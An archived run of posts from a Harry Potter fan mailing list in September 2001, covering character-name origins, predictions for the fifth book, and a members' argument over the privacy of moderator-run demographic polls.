Message-ID: <16d.137528e.28dc0a74@aol.com>

No: HPFGUIDX 26388

How about doing one on religion? 



From albia3 at yahoo.co.uk  Fri Sep 21 03:18:14 2001
From: albia3 at yahoo.co.uk (albia3 at yahoo.co.uk)
Date: Fri, 21 Sep 2001 03:18:14 -0000
Subject: name origins - Hermione
In-Reply-To: <9oe82f+5aka@eGroups.com>
Message-ID: <9oebhm+gv75@eGroups.com>

No: HPFGUIDX 26389

--- In HPforGrownups at y..., foxmoth at q... wrote:
> --- In HPforGrownups at y..., bobbins29 at h... wrote:
> 
> > the main word i dislike, though, is "hogwarts".  it's just... 
> > unpleasant.
> 
>    It's a pun on warthog.
> 
> Pippin
> who suspects that Mundungus Fletcher might be  an *unsavory 
> character * who is nonetheless vital to the good guys' success.

Having knowledge of Latin is helpful in understanding/enjoying many 
of her names - my favorite is Hermione (Her-my-uh-nee) 

Apparently JKR wanted this character to have an odd name so that real-
life little girls wouldn't be teased because they were know-it-alls 
like Hermione and shared the name.  

I alos discoverd that it was also wuite an appropriate name in the 
end since a frigate called Hermione made it possible in 1780  for La 
Fayette to join the American insurrectionists fight for their 
independence. (Think S.P.E.W :)

In Greek Mythology Hermione was the muse of Poets and another 
Hermione was the daughter of Helen of Troy and Menelaus, the king of 
Sparta. 

According to the Kabalarians 
The name of Hermione gives a responsible, reserved, and dignified 
nature, able to find a certain amount of success in anything 
undertaken. An appreciation for the finer and deeper aspects of life. 
Scholarly, studious interests inclined towards art, literature, 
philosophy, music, and drama. Wonder about the deeper aspects of life 
contained in religious theories and occult beliefs. Others may 
consider her aloof and unemotional since she often finds it difficult 
to express spontaneously. They could interpret her quietness as 
disinterest and aloofness, for they do not realize the depth of her 
feelings and thoughts. She requires time alone, especially in the 
outdoors, to cope with the pressures of life. This name causes 
tension to affect her heart and respiratory organs, resulting in 
colds or bronchial conditions. (like everyone else in Britain:)

HERMIONE is also the Greek feminine variation of Hermes, the 
messenger of the gods. It apparently means "eloquence" according to 
the baby name books but they give no language as a source and one 
says it means "high-born" from Greek origins, while another says it 
means "of the earth" from Greek origins...(both interesting  since 
Draco calls her Mudblood)

Hermione Gingold was a British Actress/comedian
http://users.bestweb.net/~foosie/gingold.htm

AND last but not least Hermione was a beautiful and virtuos 
Shakespearean Character in a Winter's Tale as Queen to Leontes, king 
of Siciliy http://www.bibliomania.com/0/0/33/71/17038/1/frameset.html


These links had some interesting theories about all the names:

http://www.assiah.org/flourish/names.html
http://www.gurlpages.com/hplover56/names.html (latin references here)
http://www.angelfire.com/fl4/scarheads/etymology.html
http://www.thepotterpages.f2s.com/origins.html
http://witchweekly.virtualave.net/meanings.htm
http://witchweekly.virtualave.net/meanings.htm (hidden meanings)
http://www.geocities.com/harrypotter518/history.htm
http://homepages.tesco.net/~ron.weasley/meanings.htm

I also found some pages on Fun Facts that include info on names:

http://www.homestead.com/wizardhogwarts/Funfacts.html
http://harry-potter-rules.8k.com/funfacts.html








From quite_serious at hotmail.com  Fri Sep 21 03:21:49 2001
From: quite_serious at hotmail.com (quite_serious at hotmail.com)
Date: Fri, 21 Sep 2001 03:21:49 -0000
Subject: 14.  Who is Mundungus Fletcher
In-Reply-To: <9odv9q+bcaj@eGroups.com>
Message-ID: <9oebod+5iql@eGroups.com>

No: HPFGUIDX 26390

> "Why are they all sending Howlers?" asked Ginny.
> 
> "Complaining about security at the World Cup," said Percy.
> "They want compensation for their ruined property. Mundungus 
> Fletcher's put in a claim for a tweleve-bedroomed tent with en-suite 
> Jacuzzi, but I've got his number. I know for a fact he was sleeping 
> under a cloak propped on sticks."
> 
> He seems like a fishy character to me. But he keeps getting
mentioned.
> 
> 
> Trace

I think he sounds rather fun! I'm pretty sure that he's one of the
people setting off illegal fireworks at the start of PS, and that,
when combined with the ridiculous claim put in above, suggests a
rather interesting approach to life. (I'm not sure that the above
paragraph proves that he sent a howler, btw: all it proves is that he
was trying to hoodwink the ministry.) So, I predict that he'll turn
out to be a very, very entertaining character. And we need those, now
that Sirius has turned into Godfather Snuffles...

H
 






From lotusmoondragon at aol.com  Fri Sep 21 03:43:35 2001
From: lotusmoondragon at aol.com (lotusmoondragon at aol.com)
Date: Thu, 20 Sep 2001 23:43:35 EDT
Subject: ADMIN RE: [HPforGrownups] New polls for HPforGrownups
Message-ID: <154.14fd675.28dc1167@aol.com>

No: HPFGUIDX 26391

In a message dated 9/20/2001 5:18:46 PM Eastern Daylight Time, 
heidi.h.tandy.c92 at alumni.upenn.edu writes:


> Let me ask another question - is the name OT-CHATTER offputting? Do listies
> think that it's a rambly, completely non-HP-related thing over there? If you
> WON'T join, or even look at it, WHY NOT?

I can only speak for me, but I didn't join the chatter list because I was 
under the impression (and pardon me if I'm wrong) that it was mostly a 
discussion about fan fic, which I am not interested in at all. 

I, too, was enjoying the "derby" and was about to come out of lurkdom to 
answer myself before being warned not to.

Oh well, back to lurk mode..

Lotus


[Non-text portions of this message have been removed]




From marshamoon at gateway.net  Fri Sep 21 04:11:15 2001
From: marshamoon at gateway.net (marshamoon)
Date: Thu, 20 Sep 2001 23:11:15 -0500
Subject: [HPforGrownups] Re: name origins
References: <9oe82f+5aka@eGroups.com>
Message-ID: <001901c14253$76416300$bb7a2e3f@oemcomputer>

No: HPFGUIDX 26392



  --- In HPforGrownups at y..., bobbins29 at h... wrote:

  > the main word i dislike, though, is "hogwarts".  it's just... 
  > unpleasant.

   and in reply, foxmoth at qnet.com wrote:

     It's a pun on warthog.

   It also may be a direct reference to the troll-like character in the movie, Labyrinth.  One of my friends made me watch this again just to catch the reference.  The character, "Hog", is asked by the heroine what his last name is.  When he doesn't answer, she teasingly speculates, "Hog Warts?" Since JKR draws from so many fantasy sources, I think this association is entirely plausible.  



[Non-text portions of this message have been removed]




From peterhbrine at yahoo.com  Fri Sep 21 04:12:57 2001
From: peterhbrine at yahoo.com (peterhbrine at yahoo.com)
Date: Fri, 21 Sep 2001 04:12:57 -0000
Subject: OoF Prediction Derby (LONG)
In-Reply-To: <9od07u+m95e@eGroups.com>
Message-ID: <9oeeo9+3273@eGroups.com>

No: HPFGUIDX 26393

> 1.  What new magical place will we visit?

Durmstrang, Azkaban


> 2.  Are any of the Dursleys wizards?  Who?

Not in this book, but Petunia later on.  (BTW, do we know for an 
absolute fact that Petunia and Lily's parents were really muggles?  
My pet theory is the Evans are related to Dumbledore - hence 
the "auburn hair" (young Dumbledore and Lily's hair color) connection.

> 3.  Identify the next DADA teacher.

A new character just like the other books.

> 4.  Which "beloved" character(s) will die?  Any other deaths, and 
if so, who?  

No "beloved" characters will die.  (why do we think they must in this 
book?)

> 5.  Of Lupin, Sirius, Krum, Fleur, Lockhart, Winky, Dobby, Moody, 
Bagman, Madam Maxime, which characters will have speaking lines in 
OoF?

Krum, Lupin, Sirius, Fleur, Dobby

> 6.  At the end of OoF, will Dumbledore be the headmaster?

Yes

> 7.  At the end of OoF, will Fudge be the Minister of Magic?

Yes
> 8.  At the end of OoF, will Neville be the same forgetful boy, or 
will he have changed in some way?

Same Neville, but stronger - we will know what happened to his 
parents and he will be better for having talked about it.

> 9.  At the end of OoF, will Sirius have cleared his name?

No - not until Peter Petigrew comes to justice in book 7

> 10.  Will Harry and Voldemort have a confrontation?

No, at least not directly.

> 11.  Of the following magical things, which will a character use or 
confront:  pensieve, veritaserum, boggart, Marauder's Map, whomping 
willow, polyjuice potion, nifflers, portkeys, rememberall, floo 
powder, time turner, sneakoscope, foe glass, secrecy sensor, knight 
bus.

Marauder's Map, Whomping Willow, Knight Bus, Floo Powder, Sneakoscope

> 12.  Will there be Quiddich at Hogwarts?  If so, who will be the 
Gryffindor Keeper?  Gryffindor Captain?

Yes, Ron Keeper, Angelina Captain

> 13.  Will anyone else turn out to be an animagus?  Who?

No, but Hermione (and possibly the other two) will start trying.

> 14.  Who is Mundungus Fletcher?

A crazy coot (a la Moody) who doesn't play well with others but is 
vehemently against Voldmorte.  He will make an appearance in OoP but 
will not play a major role.

> 15.  Will Wormtail use his silver hand in an important way?

Not in this book - probably not until book 7 - my guess is he has the 
opportunity to use it against Lupin, but Harry's previous compassion 
for Wormtail will prevent Wormtail from going through with it.
 
> Laura (who can't believe she has to wait another 10 months for OoF)

I hope it is no MORE that 10 months.

-Peter




From devika261 at aol.com  Fri Sep 21 04:34:09 2001
From: devika261 at aol.com (devika261 at aol.com)
Date: Fri, 21 Sep 2001 00:34:09 EDT
Subject: a little help, please...
Message-ID: <108.5d7f6ba.28dc1d42@aol.com>

No: HPFGUIDX 26394

Hey everyone,
I don't have my books with me, so I can't look this up, but I was wondering if anyone could tell me the name of the store in Diagon Alley where Harry and co. buy their schoolbooks?  Does it even have a name?  It's late, and I can't think very well right now, but it's going to be bothering me all night if I don't find out.  Please help!
Thanks a lot :)
Devika 



From peterhbrine at yahoo.com  Fri Sep 21 04:38:09 2001
From: peterhbrine at yahoo.com (peterhbrine at yahoo.com)
Date: Fri, 21 Sep 2001 04:38:09 -0000
Subject: a little help, please...
In-Reply-To: <108.5d7f6ba.28dc1d42@aol.com>
Message-ID: <9oeg7h+u1u9@eGroups.com>

No: HPFGUIDX 26395

Flourish and Blotts

--- In HPforGrownups at y..., devika261 at a... wrote:
> Hey everyone,
> I don't have my books with me, so I can't look this up, but I was 
wondering if anyone could tell me the name of the store in Diagon 
Alley where Harry and co. buy their schoolbooks?  Does it even have a 
name?  It's late, and I can't think very well right now, but it's 
going to be bothering me all night if I don't find out.  Please help!
> Thanks a lot :)
> Devika




From aiz24 at hotmail.com  Fri Sep 21 04:57:36 2001
From: aiz24 at hotmail.com (Amy Z)
Date: Fri, 21 Sep 2001 04:57:36 -0000
Subject: ghosts and RL's happiness
Message-ID: <9oehc0+sbhd@eGroups.com>

No: HPFGUIDX 26396

The OoP derby (check out OTChatter and contribute, it's a blast) 
stimulated a pair of questions I don't recall being discussed here 
before.  It all started with a prediction that Lupin would die in 5, 
to which I said JKR says he'll have a role in 7, to which Heidi said 
he could come back as a wereghost.  So, the questions:

Do you think any characters will be active after death--e.g. get 
murdered by Voldemort or henchmen but then deal them a blow from 
ghosthood later?

(Since JKR has commented in an interview that the happiest people 
don't become ghosts)  Is Remus happy?

Amy Z

--------------------------------------------------------------
 See then that ye walk circumspectly, not as fools, but wise,
 redeeming the time, because the days are evil.
                                          Ephesians 5:15-16
--------------------------------------------------------------






From cassandraclaire73 at yahoo.com  Fri Sep 21 05:40:29 2001
From: cassandraclaire73 at yahoo.com (cassandraclaire73 at yahoo.com)
Date: Fri, 21 Sep 2001 05:40:29 -0000
Subject: ADMIN RE: [HPforGrownups] New polls for HPforGrownups)
In-Reply-To: <ILEFKEDOPGKIBOMPJIMFEEPGCDAA.entilzha@crosswinds.net>
Message-ID: <9oejsd+hth4@eGroups.com>

No: HPFGUIDX 26397

--- In HPforGrownups at y..., "Daniel Siegmann" <entilzha at c...> wrote:
> 
> The OT group shouldn't exist. If it's a discussion of HP, then it's 
on-topic  for this group and should be here. If it's not, then I'm 
not interested in reading it. Thus, I am not subscribed to the OT-
Chatter group and have no interest in the extra mail I'd have if I 
did (this group is busy enough)."

It seems a bit harsh to announce that a list that a lot of people 
enjoy shouldn't exist. Most of the discussion that goes on there is 
in fact HP related but believe me you don't want it on the main list. 
Arguments about "Who's hotter, Harry or Ron?" are certainly HP 
related but do you want them on the main list? I didn't think so. 
Ditto "What's the sillient pairing you can think of?", polls as to 
fave character, in-depth discussions as to what the exact ingredients 
are in butterbeer, "I saw someone who looks just like Draco Malfoy in 
the supermarket" and so on. Certainly nobody who hates that sort of 
thing need join, but I wouldn't say that everything HP-related 
belongs on the main list, because it doesn't.

"I can only speak for me, but I didn't join the chatter list because 
I was under the impression (and pardon me if I'm wrong) that it was 
mostly a discussion about fan fic, which I am not interested in at 
all."

No, the HP_Fanfiction group is for fanfic discussions. I actually 
never go to the OT Chatter group precisely because they never or 
rarely talk about fanfiction, which is pretty much all I'm interested 
in, having run out of anything to say about GoF back in January. Each 
to their own, but don't think that's what OT Chat is about, because 
it isn't.

Cassie 

NB: I think we need to keep a certain measure of restraint on our 
personal feelings. I know that I've been on the list a pretty long 
time, and therefore whenever I see yet another "How many students are 
there at Hogwarts?" post, I want to throw my computer through the 
window and cut my wrists on the shards. But it is on topic, and it is 
*my* problem that I'm not interested, not the list's. So I switch to 
webview and keep my mouth shut so as to not ruin other people's fun. 
Perhaps this post seems pointless, but when people start snarling and 
spitting at the mods and sneering at people's enjoyment of off-topic 
lists, it all becomes a bit depressing.
 




From nizbet_noni at hotmail.com  Fri Sep 21 08:18:38 2001
From: nizbet_noni at hotmail.com (Lizzie)
Date: Fri, 21 Sep 2001 08:18:38 -0000
Subject: Third Trailer!
Message-ID: <9oet4u+llid@eGroups.com>

No: HPFGUIDX 26398

The third trailer - or *a* third trailer, at any rate, was played 
today in the US, I think. I saw a posting on a message board about 
it - I know next to nothing about the US. Does 'Channel One' mean 
anything to anyone? Because it means zilch to me. What I gathered is 
that its only broadcast to schools, and they watch it during 
something like homeroom?

Anyway, that's not important. The important bit is if you go to 
www.channelone.com, you can see it! Click on 'Watch Todays Show', and 
then 'Watch Entire Show'. First there's a bit about the Taliban, then 
its the first ad in the first commercial break. It's terrible 
quality, but still! 

A lot of it is from the second trailer, but theres some new stuff, 
including a view of Hogwarts, Fluffy, some new shots of Hagrid, a new 
shot of Hermione in the bathroom with the troll, a new shot of Harry 
somewhere with his wand, and QUIDDITCH! Gryffindor and Slytherin 
teams. Even with the terrible quality, it looks great.

Thats all I can remember, there could be more. 

Now if you'll excuse her, this techno-bimbo has to go make nice with 
the computer geek next door so that she can try and get it saved to 
her computer.

Cheers!

Elizabeth C

Now, 




From porlowsky at aol.com  Fri Sep 21 12:30:13 2001
From: porlowsky at aol.com (porlowsky at aol.com)
Date: Fri, 21 Sep 2001 08:30:13 EDT
Subject: [HPforGrownups] ADMIN: Tolerance; Diversity Polls on HPforGrownups
Message-ID: <9c.1388a7e8.28dc8cd5@aol.com>

No: HPFGUIDX 26399

In a message dated 9/20/2001 4:54:12 PM Eastern Daylight Time, 
pennylin at swbell.net writes:


> http://groups.yahoo.com/group/HPforGrownups/polls
> 
> 

Penny,

After answering a few questions of the poll, it lists how each individual 
voted and their email address.  I stopped taking the poll.


[Non-text portions of this message have been removed]




From borg3892000 at yahoo.com  Fri Sep 21 12:30:35 2001
From: borg3892000 at yahoo.com (Jim Wall)
Date: Fri, 21 Sep 2001 05:30:35 -0700 (PDT)
Subject: [HPforGrownups] ADMIN: Tolerance; Diversity Polls on HPforGrownups
In-Reply-To: <9odklp+u85l@eGroups.com>
Message-ID: <20010921123035.14674.qmail@web11004.mail.yahoo.com>

No: HPFGUIDX 26400

Hi Penny,

I would like to make a request on the polls...

I didn't realize that my vote choice would show up on
some of the polls.  It would be good if the poll would
notify the user about it before they vote.

I may not be clear in what I am talking about though. 
When I voted in the location poll, it displayed all
the regions and the details of who voted for which
region.  This wasn't the only poll that showed the
details.

I don't really mind having this displayed. I would
have just liked to have known it would display before
I voted.

Thanks

--- pennylin at swbell.net wrote:
> Hi everyone --
> 
> Your Magical Moderator Team would like to take a
> moment to
> remind everyone of the vast diversity of membership
> that we have on
> HPforGrownups. We are a large (over 2000 members &
> counting),
> international, multi-ethnic group.  Our members
> possess the complete
> range of views on religion, politics, sexuality and
> other important
> lifestyle & cultural issues.  When you are posting a
> message to this
> list (or any of our affiliated lists such as
> OT-Chatter) or
> participating in our chats, please be respectful of
> this diversity of
> opinion.
> 
> We keep talking about what a diverse list we are,
> and we decided it
> might be fun to *see* visually how diverse we are. 
> So, we've set up a
> few polls to track where our members live & what our
> views are on some
> controversial subjects (of course, the poll will be
> blind so that
> noone can see how each individual responded).  We
> wish it could be an
> all-inclusive diversity poll, but Yahoogroups polls
> are limited to one
> question per poll.  There is also an ongoing poll on
> the ages of our
> members, so if you haven't voted in that one (or if
> you moved into a
> different age range ...ahem...since you last voted),
> please vote in
> that one too!  Here's where to vote:
> 
> http://groups.yahoo.com/group/HPforGrownups/polls
> 
> Keep in mind that (a) no one is forcing you to vote
> in any of these
> polls, (b) you can participate in some but not all
> if you prefer, and
> (c) no one will know how you answered any of these
> questions (voting
> results will not be displayed).
> 
> I'm sorry for the confusion caused by my setting up
> the polls and then
> not having time to get this explanatory message out
> to you.  My
> daughter woke up earlier than expected for her next
> feeding.  But
> again, there is really no need for a hostile
> reaction.  This is just
> supposed to be fun (and interesting to see the
> results), and you can
> participate or not as you choose.
> 
> This message is being sent as a "Special
> Announcement."  All members
> of HPforGrownups, even those who signed up for
> Webview access to the
> group, will receive it via email.  If you're a
> webview member but
> haven't visited our group homepage recently, here's
> the link:
> 
> http://groups.yahoo.com/group/HPforGrownups
> 
> Magically yours --
> 
> Penny
> Magical Moderator Team for HPforGrownups
> 
> 
> 
> 
> 
> ------------------------ Yahoo! Groups Sponsor
> 
>
____________________________________________________________
> 
> "I say to you all, once again--in the light of Lord
> Voldemort's return, we are only as strong as we are
> united, as weak as we are divided. 
> "Lord Voldemort's gift for spreading discord and
> enmity is very great.  We can fight it only by
> showing an equally strong bond of friendship and
> trust.  Differences of habit and language are
> nothing at all if our aims are identical and our
> hearts are open."
> 
> You *can* help. Visit www.redcross.org for details.
> 
> Questions, list-based or otherwise? contact your
> personal List Elf or the Moderator Team at
> MagicalMods at yahoogroups.com.
> 
> Unsubscribing? Email
> hpforgrownups-unsubscribe at yahoogroups.com
>
____________________________________________________________
>  
> 
> Your use of Yahoo! Groups is subject to
> http://docs.yahoo.com/info/terms/ 
> 
> 


__________________________________________________
Terrorist Attacks on U.S. - How can you help?
Donate cash, emergency relief information
http://dailynews.yahoo.com/fc/US/Emergency_Information/



From cynthiaanncoe at home.com  Fri Sep 21 12:42:06 2001
From: cynthiaanncoe at home.com (cynthiaanncoe at home.com)
Date: Fri, 21 Sep 2001 12:42:06 -0000
Subject: ghosts and RL's happiness
In-Reply-To: <9oehc0+sbhd@eGroups.com>
Message-ID: <9ofciu+83i1@eGroups.com>

No: HPFGUIDX 26401

--- In HPforGrownups at y..., "Amy Z" <aiz24 at h...> wrote:
> 
> Do you think any characters will be active after death--e.g. get 
> murdered by Voldemort or henchmen but then deal them a blow from 
> ghosthood later?
> 
> (Since JKR has commented in an interview that the happiest people 
> don't become ghosts)  Is Remus happy?
> 
> 


To tell you the truth, I hope Lupin doesn't come back as a ghost.  As 
a group, I don't find the ghosts to be very interesting characters.  
We have Binns (zzzzzz), who only has any real role in CoS, and it is 
only to convey information; the Bloody Baron (who IS he, anyway?); 
the Grey Lady (same thing); the Fat Friar (who doesn't seem to do 
anything either); and Nearly Headless Nick (who gets petrified and 
has a party, but again, doesn't have all that much to do in my two 
favorite books GoF and PoA).  Then we have Moaning Myrtle, who helps 
Harry and oggles at him from time to time.  If there is any group of 
characters I'd have eliminated from the books, it would be the House 
Ghosts (although I reserve the right to change my mind if they get 
more to do in future books).

OK, Amy.  What was your question?  Oh yes.  Will anyone die and come 
back as a ghost?  I hope not.  The thing that is powerful about death 
in HP and any book is that it is so permanent.  Things that undermine 
this (like bringing people back as ghosts or having everything just 
turn out to be a dream) makes me unhappy.

So, I sincerely hope Lupin makes it to the last book (or at least 
really goes out in a blaze of glory in Book 5).  I worry, though, 
because I don't see how he can be happy.  Maybe he was emotionally OK 
before teaching at Hogwarts, but the circumstances under which he 
lost his job would really depress anyone.  But if he dies and comes 
back as a ghost to wander the Hogwarts halls moaning, well, I'll have 
to get after him.

Cindy (whose stomach lurched anytime someone predicted Lupin would 
die in OoP, so she'd like people to stop saying that)




From pennylin at swbell.net  Fri Sep 21 13:26:02 2001
From: pennylin at swbell.net (Penny & Bryce)
Date: Fri, 21 Sep 2001 08:26:02 -0500
Subject: ADMIN: The Polls Do NOT show email addresses (except Location Poll)
References: <9c.1388a7e8.28dc8cd5@aol.com>
Message-ID: <3BAB3FEA.7090206@swbell.net>

No: HPFGUIDX 26402

Hi all --

I nearly had a heart attack when Heidi called me to say people were 
complaining that the polls showed individual votes, because of course, 
they were not doing so yesterday when I last checked them last night & I 
had definitely not set them up in that manner.  I wondered if Yahoo had 
suddenly flipped out.

I am relieved to report that only the Location Poll is showing 
individual votes.  The Location poll, as I said yesterday, is an *OLDER* 
poll set up by Ebony back in January.  She did set it up to show emails 
because at that time we were encouraging the formation of regional HP4GU 
groups, so it clearly made sense for people to know who else from HP4GU 
was in their individual region of the world.

So, just to recap, none of the other polls that I set up yesterday are 
showing emails or identities in any way.

Thanks to Neil and Cassie for clarifying what I thought was obvious 
yesterday: if you don't like the idea of revealing this information 
about yourself, even in a blind poll, and/or don't care about our 
group's diversity, then just don't participate.

Penny





From devika261 at aol.com  Fri Sep 21 14:08:33 2001
From: devika261 at aol.com (devika261 at aol.com)
Date: Fri, 21 Sep 2001 10:08:33 EDT
Subject: [HPforGrownups] ghosts and RL's happiness
Message-ID: <a2.19bc91d4.28dca3e1@aol.com>

No: HPFGUIDX 26403

<<<<<<Do you think any characters will be active after death--e.g. get 
 murdered by Voldemort or henchmen but then deal them a blow from 
 ghosthood later?

 (Since JKR has commented in an interview that the happiest people 
 don't become ghosts)  Is Remus happy?>>>>>>

I think the fact that JKR has said that we'd learn about why some people become ghosts and some don't could be a clue that one of the characters will die and come back as a ghost.  I mean, if she wouldn't comment further than to say that we would find out in a later book, then I would think that ghosts are going to be somewhat significant later.
To answer the second question:  no, I don't think Remus is happy.  Sure, he gets by and is always cheerful when we see him, but there must be times when the difficulties of his life become almost unbearable.  I think that's the reason that so many of the women on this list (myself included) are so fond of him.  We're all drawn to a tortured man, I suppose--at least in books and movies.
And now, I'd like to add to the first question.  Exactly which character(s), if any, do you think are most likely to become ghosts?  I think the most likely candidates, based on the happiness factor, are Remus and Sirius.  (I don't think I need to go into the reasons for Sirius's unhappiness).  Or even Snape, come to think of it.  Although if anything happens to any of them, I don't know what I'll do...

Devika, now suddenly worried about her three favorite characters...





From neilward at dircon.co.uk  Fri Sep 21 14:12:26 2001
From: neilward at dircon.co.uk (Neil Ward)
Date: Fri, 21 Sep 2001 14:12:26 -0000
Subject: ADMIN: The Polls Do NOT show email addresses (except Location Poll)
In-Reply-To: <3BAB3FEA.7090206@swbell.net>
Message-ID: <9ofhsa+o5v9@eGroups.com>

No: HPFGUIDX 26404

Dear members,

Penny beat me to it with an explanation of the polls.  

I will add a few additional points, since I'm on the podium:-

If you want to know the outcome format of any ongoing poll before 
voting, you can check this by scrolling down the page to view the 
current situation.  This may seem obvious, but I can understand that 
people might be wary if they're not sure how these things work.  

Voter details in the four new demographic polls are hidden to all but 
the voter members, but it's worth noting that the radio buttons will 
show *you* (or anyone who logs in under your ID), how you voted.

Please do vote in some of the other, ongoing polls, particularly the 
one at the bottom, which will advise the action we take on movie-
related discussions prior to the release of the first movie.   This 
poll has been running for a while now, but we will be posting some 
additional guidance notes later today to focus attention on the pros 
and cons of each choice.  You can change your vote at any time, by 
the way.

NB: Members are no longer able to set up their own polls on the main 
list; that option was closed, as that section was getting rather busy 
some months ago.  If you have an idea for a poll, please let the 
moderator team know.  Alternatively, you can set up your own polls on 
the OT Chatter list.     

One final thing: If you have any further comments on polls, or any 
general concerns, please send them to hpforgrownups-
owner at yahoogroups.com rather than posting comments on the main list.  

Thas'all.

Neil
________________
Flying Ford Anglia

Moderator Team

 





From mellienel2 at yahoo.com  Fri Sep 21 14:24:59 2001
From: mellienel2 at yahoo.com (mellienel2 at yahoo.com)
Date: Fri, 21 Sep 2001 14:24:59 -0000
Subject: mugglage
In-Reply-To: <9oeeo9+3273@eGroups.com>
Message-ID: <9ofijs+gedr@eGroups.com>

No: HPFGUIDX 26405


> Not in this book, but Petunia later on.  (BTW, do we know for an 
> absolute fact that Petunia and Lily's parents were really muggles?  
> My pet theory is the Evans are related to Dumbledore - hence 
> the "auburn hair" (young Dumbledore and Lily's hair color) 
connection.

Doesn't Voldy tell Harry that they're both half-bloods? that they 
both had muggle-born mothers? Or just that he had a muggle father and 
Harry's mother is muggle-born...something like that...

but here's a question -- how woudl the 16 year old riddle know that? 
Did Ginny tell him?

M.




From shall at sfiweb.demon.co.uk  Fri Sep 21 10:44:00 2001
From: shall at sfiweb.demon.co.uk (shall at sfiweb.demon.co.uk)
Date: Fri, 21 Sep 2001 11:44 +0100
Subject: [HPforGrownups] New poll for HPforGrownups
Message-ID: <E15kRJU-000Bzr-0A@finch-post-10.mail.demon.net>

No: HPFGUIDX 26406



----Original Message-----
   >From:    	"HPforGrownups at yahoogroups.com" <HPforGrownups at yahoogroups.com>
   >To:        	"HPforGrownups at yahoogroups.com" <HPforGrownups at yahoogroups.com>
   >Cc:        	
   >Bcc:        	
   >Subject:    	[HPforGrownups] New poll for HPforGrownups
   >Type:    	IPM.Note
   >Date:    	20 September 2001 20:41
   >
   >
   >Enter your vote today!  A new poll has been created for the 
   >HPforGrownups group:
   >
   >What best describes your political beliefs? 
   >
   >  o Left-wing 
   >  o Moderate (tending left) 
   >  o Moderate (centrist) 
   >  o Moderate (tending right) 
   >  o Right-wing 
   >  o Anarchist 
   >  o Other 
  
Is this data being collected, held or stored inthe UK?  If so, then I strongly recommend that the data processors *urgently* consider the implications of the Data Protection Act 1998, in particular the restrictions on the processing of 'sensitive' personal data.

Susan


   >
   >
   >
   >
   >____________________________________________________________
   >
  >




From shall at sfiweb.demon.co.uk  Fri Sep 21 10:46:00 2001
From: shall at sfiweb.demon.co.uk (shall at sfiweb.demon.co.uk)
Date: Fri, 21 Sep 2001 11:46 +0100
Subject: [HPforGrownups] New poll for HPforGrownups
Message-ID: <E15kRJZ-000Bzr-0A@finch-post-10.mail.demon.net>

No: HPFGUIDX 26407



   >What is your sexual orientation? 
   >
   >  o Heterosexual 
   >  o Homosexual 
   >  o Bisexual 
  

See comments on Data Protection Act 1998 posted earlier.  Assume I have now posted them again, in spades, doubled.

Susan




From shall at sfiweb.demon.co.uk  Fri Sep 21 10:48:00 2001
From: shall at sfiweb.demon.co.uk (shall at sfiweb.demon.co.uk)
Date: Fri, 21 Sep 2001 11:48 +0100
Subject: [HPforGrownups] New poll for HPforGrownups
Message-ID: <E15kRJc-000Bzr-0A@finch-post-10.mail.demon.net>

No: HPFGUIDX 26408



   >
   >Enter your vote today!  A new poll has been created for the 
   >HPforGrownups group:
   >
   >How would you describe your ethnicity? 
   >
   >  o Caucasian 
   >  o African-American 
   >  o Hispanic 
   >  o Native American 
   >  o Asian 
   >  o Middle Eastern 
   >  o African 
   >  o Other 
   >
  
See earlier posts.  What are you people on?

Susan




From heidi.h.tandy.c92 at alumni.upenn.edu  Fri Sep 21 14:39:49 2001
From: heidi.h.tandy.c92 at alumni.upenn.edu (Tandy, Heidi)
Date: Fri, 21 Sep 2001 10:39:49 -0400
Subject: ADMIN: Privacy issues
Message-ID: <C8CB3DE988C8D3119BDA00A0C9B3BD4D022C2D17@MIAEXCH1>

No: HPFGUIDX 26409

All of you who use this group are doing so pursuant to the Yahoo Terms of
Use policy, located at http://docs.yahoo.com/info/terms, which incorporates
by reference the Yahoo Privacy Policy, located at
http://privacy.yahoo.com/privacy/us/. When you signed up for the group, you
AGREED to this. The HP4GU Mods do not have control of or access to the Yahoo
servers, where the answers to the polls are logged. The HP4GU mods do not
know the information being collected by the Yahooo servers, OR the
information YOU provided to Yahoo when you joined this group. 

If you're concerned about the recordation to their servers of your answers
to the polls, then you should remember that Yahoo ALREADY knows where you
live. You gave them this information when you signed up, and their servers
record the IP number that you use to access their site, and how long you
spend on any page, and where you were before you came to a Yahoo page, and
where you go next.

As Yahoo has sole server control, HP4GU does not act as an ISP, or in fact
as the actual collector of any information sent to or collected on the
Yahoogroup. Thus, HP4GU has no obligation to be in compliance with the
European Community's privacy regulations, or, in fact, the United States'
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If you have any concerns on this issue, we recommend that you get in touch
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to some of the questions users might have. 



From maribelpotter at hotmail.com  Fri Sep 21 14:51:56 2001
From: maribelpotter at hotmail.com (Maribel )
Date: Fri, 21 Sep 2001 14:51:56 -0000
Subject: Peter Pettigrew's brain as Scabbers
Message-ID: <9ofk6c+iaro@eGroups.com>

No: HPFGUIDX 26410

Hello to everybody,

I was reading "Quidditch through the ages" and I have this question, 
hope you have some thougths about the possible answer.

According to it, a wizard's brain who become animagi become the size 
of the animal in which he transforms, also says if it is a small 
animal the brain will be small as well, and soon they're going to 
forget things.

So, if Peter Pettigrew has lived as a rat for 12 years, Why his 
memory is so good? Why he didn't just forget everything? A rat's 
brain is very small.

In the case of Sirius, we know he didn't live as a dog all the time, 
and the brain of a dog is bigger than a rat's, I think.

I would like to hear your opinions about it.

Maribel
PS.- Please, forgiveme for my English, is not my native language.




From bbennett at joymail.com  Fri Sep 21 15:29:37 2001
From: bbennett at joymail.com (bbennett at joymail.com)
Date: Fri, 21 Sep 2001 15:29:37 -0000
Subject: New poll for HPforGrownups
In-Reply-To: <E15kRJc-000Bzr-0A@finch-post-10.mail.demon.net>
Message-ID: <9ofmd1+gasf@eGroups.com>

No: HPFGUIDX 26411

Curiosity as to who posts on this list is not indicative of "being 
on" something. If you believe these polls violate personal right, 
then I suggest you not respond to them, and that if you want to 
question their validity, that you do so in a less accusatory manner. 

B Bennett 

hetrosexual, moderate-to-left-leaning, not brought up a specific 
religion but learning as I go Caucasian R/H'r

*****


--- In HPforGrownups at y..., shall at s... wrote:
> 
> 
>    >
>    >Enter your vote today!  A new poll has been created for the 
>    >HPforGrownups group:
>    >
>    >How would you describe your ethnicity? 
>    >
>    >  o Caucasian 
>    >  o African-American 
>    >  o Hispanic 
>    >  o Native American 
>    >  o Asian 
>    >  o Middle Eastern 
>    >  o African 
>    >  o Other 
>    >
>   
> See earlier posts.  What are you people on?
> 
> Susan




From absinthe at mad.scientist.com  Fri Sep 21 15:37:57 2001
From: absinthe at mad.scientist.com (Milz)
